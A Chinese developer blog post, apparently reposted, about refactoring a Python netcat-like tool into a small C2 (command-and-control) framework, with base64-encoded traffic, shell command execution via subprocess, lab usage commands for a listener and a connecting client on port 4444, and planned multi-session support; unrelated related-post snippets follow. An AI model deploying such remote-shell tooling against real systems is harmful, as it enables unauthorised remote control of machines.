c2框架编写

0x00前言由于昨天520,今天又是521,我被朋友圈和qq空间给刷屏了,都在秀对象。一气之下决定把我上次写的nc拿出来使用类进行重构,多实例化几个对象,这下子我也有对象了。0x01一些小插曲

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00  前言

由于昨天520,今天又是521,我被朋友圈和qq空间给刷屏了,都在秀对象。一气之下决定把我上次写的nc拿出来使用类进行重构,多实例化几个对象,这下子我也有对象了。

c2框架编写

 

 0x01 一些小插曲

在重构的时候,base64加密通讯加密的一直出问题。一直在修bug,改到了4点多也就是现在4.18 的发现 在返回命令的时候忘记base64编码了,在server解码的时候才会报错,我被自己被笨哭了,同时也加了个异常捕获和修复了输入不正确命令直接报错退出的bug。这次使用了subprocess模块的poen函数完美解决了,在中途遇到非常恶心的一件事,就是windows下面返回的命令是中文必须使用bgk编码,而linux不是中文使用gbk编码会报错,所以分出了2个版本来。修改bug中,由于自己写的代码也不喜欢写注释,改代码的时候,改着改着脑子一团糟。

 0x02   功能演示

kali1

python3 nc.py -l 4444 -e base64

 

kali2

python3 nc.py -i 192.168.3.51 -p 4444 -e base64

c2框架编写

 

  0x03   待完善功能

在这还有个文件传输功能和udp  http的通讯功能没写,单个功能的demo都已经写好了 就差把它封装起来就完成了。当然还有个多会话,这个的话其实实现起来也简单,可以直接使用多线程让子线程去进行accept()的阻塞来接收连接的机器,新的socket 给个标识符。输入该标识符就调用对应的socket 进行通讯就完成了。

这里把github地址贴出来:

 

https://github.com/nice0e3/python_c2

0x04  一些小感慨

在这段时候一直在写代码,还是有收获的,很多以前的想法都在逐渐完善。代码功能也是有所提升。

愿代码没有bug。

c2框架编写

记录美好时刻。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119964.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 汇编指令周期_微指令周期

    汇编指令周期_微指令周期MnemonicByteCycADDA,@Ri11ADDA,Rn11ADDA,direct21ADDA,#data21ADDCA,@Ri11ADDCA,Rn11

    2022年10月9日
    3
  • HorizontalScrollView+TabLayout+ViewPager+XUtils「建议收藏」

    HorizontalScrollView+TabLayout+ViewPager+XUtils「建议收藏」利用HorizontalScrollView+TabLayout+ViewPager+XUtils简单实现一个小Demo;首先配置环境:添加权限:添加依赖:记得添加Gson的jar包 还有个XUtils的依赖:compile’org.xutils:xutils:3.5.0’下来是布局:activity_main

    2022年7月14日
    24
  • 数据集网站_drone无人机模拟训练软件

    数据集网站_drone无人机模拟训练软件中国人不骗中国人。csdn李居然有人卖几十块智商税。其实只要外网一查就免费。看我来砸他生意。免费万岁!共享永存!GitHub-dasmehdix/drone-dataset:Dronedatasettoguideenemydrones(withsometools)…

    2022年8月15日
    4
  • 哈希表的数据结构[通俗易懂]

    转载自:https://www.jianshu.com/p/b468abd86f61Hash表的结构图:数组+链表哈希表(Hashtable,也叫散列表),是根据键(Key)而直接访问在内存存储位置的数据结构。也就是说,它通过计算一个关于键值的函数,将所需查询的数据映射到表中一个位置来访问记录,这加快了查找速度。这个映射函数叫做散列函数,存放记录的数组叫做散列表白话一点的说就是通过把Key通过一个固定的算法函数(hash函数)转换成一个整型数字,然后就对该数字对数组的长度进行取余,取余结果就

    2022年4月9日
    50
  • Spring AOP理解与研发使用

    Spring AOP理解与研发使用SpringAOP理解与研发使用:基本理论(基本术语总结+具体开发注意事项+切点正则和指示器规则)+AOP开发应用与分析

    2022年7月12日
    18
  • apache2虚拟主机实现一个服务器绑定多个域名[通俗易懂]

    apache2虚拟主机实现一个服务器绑定多个域名[通俗易懂]1.apache2的配置首先要配置好apache2,如果未配置,请参考我之前的博文:lamp的配置2.域名的解析将全部域名的www和@的A记录解析到云服务器的IP3.虚拟主机的配置1.配置httpd.conf如果etc/httpd/conf/httpd.conf存在,则配置此httpd.conf如果etc/httpd/conf/httpd.conf不存在,此时需要我们在/etc/apache2下

    2022年9月18日
    1

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号